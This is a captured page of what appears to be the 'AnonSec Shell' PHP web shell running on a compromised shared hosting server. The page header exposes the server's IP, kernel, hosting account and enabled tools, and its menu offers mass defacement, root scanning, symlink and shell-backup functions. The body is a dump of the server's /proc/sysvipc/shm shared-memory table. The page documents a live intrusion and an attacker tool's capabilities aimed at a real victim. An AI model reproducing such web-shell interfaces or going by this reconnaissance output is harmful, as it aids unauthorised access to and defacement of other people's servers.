. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 198.54.115.242  /  Your IP : 216.73.216.33   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux server233.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : imereohc ( 2529)
PHP Version : 8.2.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0  870907904  1600                347328 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896081                348160                     0
         0  870907905  1600                369016 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896084                372736                     0
         0  870907906  1600                390704 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896086                393216                     0
      5555          3   644                  1024  4410 2883327      0     0     0     0     0 1770897239 1770897239 1759564777                  4096                     0
         0  870907908  1600                412400 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896088                413696                     0
         0  875823109  1600                524288 3564714 3564714      2  1849  1845  1849  1845 1770961591 1770961590 1770957059                  8192                     0
         0  870907911  1600                434096 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896090                434176                     0
         0  870907912  1600                455784 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896092                458752                     0
         0  870907913  1600                477472 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896094                479232                     0
         0  870907914  1600                499168 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896096                499712                     0
         0  870907915  1600                520856 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896098                524288                     0
         0  870907918  1600                542544 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896100                544768                     0
         0  870907920  1600                564240 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896102                565248                     0
         0  870907921  1600                585936 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896104                589824                     0
         0  870907922  1600                607632 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896107                610304                     0
         0  870907923  1600                629336 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896109                630784                     0
         0  870907925  1600                651040 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896111                651264                     0
         0  870907926  1600                672744 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896113                675840                     0
         0  870907927  1600                694432 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896115                696320                     0
         0  870907928  1600                716128 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896118                716800                     0
         0  876183578  1600                524288 440590 440590      2  2926  2922  2926  2922 1770961609 1770961609 1770961457                  8192                     0
         0  876019739  1600                524288 4136353 478710      1  5263  5196  5263  5196 1770961581 1770961608 1770959430                  8192                     0
         0  870907933  1600                737816 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896152                741376                     0
         0  870907934   600                759512 2600113 485696      2   475   468   475   468 1770961609 1770961609 1770896154                761856                     0
         0  875888673  1600                524288 3751424 3751424      4  1696  1692  1696  1692 1770961610 1770961576 1770957906                  8192                     0
         0  876183587  1600                524288 463519 484232      2 11226 11159 11226 11159 1770961604 1770961611 1770961510                  8192                     0
         0  875888676  1600                524288 3761855 3761855      3  1696  1692  1696  1692 1770961610 1770961608 1770957914                  8192                     0
         0  876183589  1600                524288 472223 472250      1  1757  1753  1757  1753 1770961545 1770961558 1770961544                  8192                     0
   5432001  870875174   600                    56 2598420 482280      6    26    26    26    26 1770961594 1770961594 1770896042                  4096                     0
         0  870875175  1600                   576 2600108 485696      6   475   468   475   468 1770961609 1770961609 1770896048                  4096                     0
         0  870875176  1600               4161056 2600108 485696      6   475   468   475   468 1770961609 1770961609 1770896048               4161536                     0
         0  876183593  1600                524288 475462 475463      1  3633  3629  3633  3629 1770961557 1770961579 1770961557                  8192                     0
         0  870875178  1600                 21744 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896050                 24576                     0
         0  870875179  1600                 43456 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896052                 45056                     0
         0  870875180  1600                 65160 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896054                 65536                     0
         0  870875181  1600                 86856 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896057                 90112                     0
         0  870875182  1600                108560 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896059                110592                     0
         0  870875183  1600                130312 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896061                131072                     0
         0  876183600  1600                524288 475477 475492      1  3320  3316  3320  3316 1770961557 1770961570 1770961557                  8192                     0
         0  870875185  1600                152008 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896063                155648                     0
         0  870875186  1600                173712 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896065                176128                     0
         0  876183603  1600                524288 477083 477257      1  1348  1344  1348  1344 1770961566 1770961579 1770961565                  8192                     0
         0  875888692  1600                524288 3765084 483138      1   966   963   966   963 1770961599 1770961611 1770957930                  8192                     0
         0  870875189  1600                195408 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896067                196608                     0
         0  876183606  1600                524288 478122 478138      1  3431  3427  3431  3427 1770961572 1770961585 1770961570                  8192                     0
         0  870875191  1600                217112 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896069                221184                     0
         0  870875192  1600                238816 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896071                241664                     0
         0  870875193  1600                260544 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896073                262144                     0
         0  870875194  1600                282240 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896075                282624                     0
         0  870875195  1600                303944 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896077                307200                     0
         0  870875196  1600                325632 2600113 485696      1   475   468   475   468 1770961609 1770961609 1770896079                327680                     0
         0  876183613  1600                524288 482641 482660      1  1372  1352  1372  1352 1770961596 1770961609 1770961596                  8192                     0
         0  876183614  1600                524288 483536 483536      2  5433  5366  5433  5366 1770961601          0 1770961601                  8192                     0
         0  876183615  1600                524288 483614 483614      3   712   709   712   709 1770961601          0 1770961601                  8192                     0
         0  876183616  1600                524288 486016 486016      2   741   738   741   738 1770961611          0 1770961611                  8192                     0
         0  876183617  1600                524288 486042 486042      3  1229  1212  1229  1212 1770961612          0 1770961611                  8192                     0
         0  875823171  1600                524288 3617624 480622      1  3691  3687  3691  3687 1770961585 1770961607 1770957303                  8192                     0
         0  875888708  1400                166200 2594050 2585225      2   484   479     0     0 1770958001          0 1770958001                167936                     0
         0  876150856  1600                524288 403499 403499      2  5433  5366  5433  5366 1770961608 1770961598 1770961288                  8192                     0

Anon7 - 2022
AnonSec Team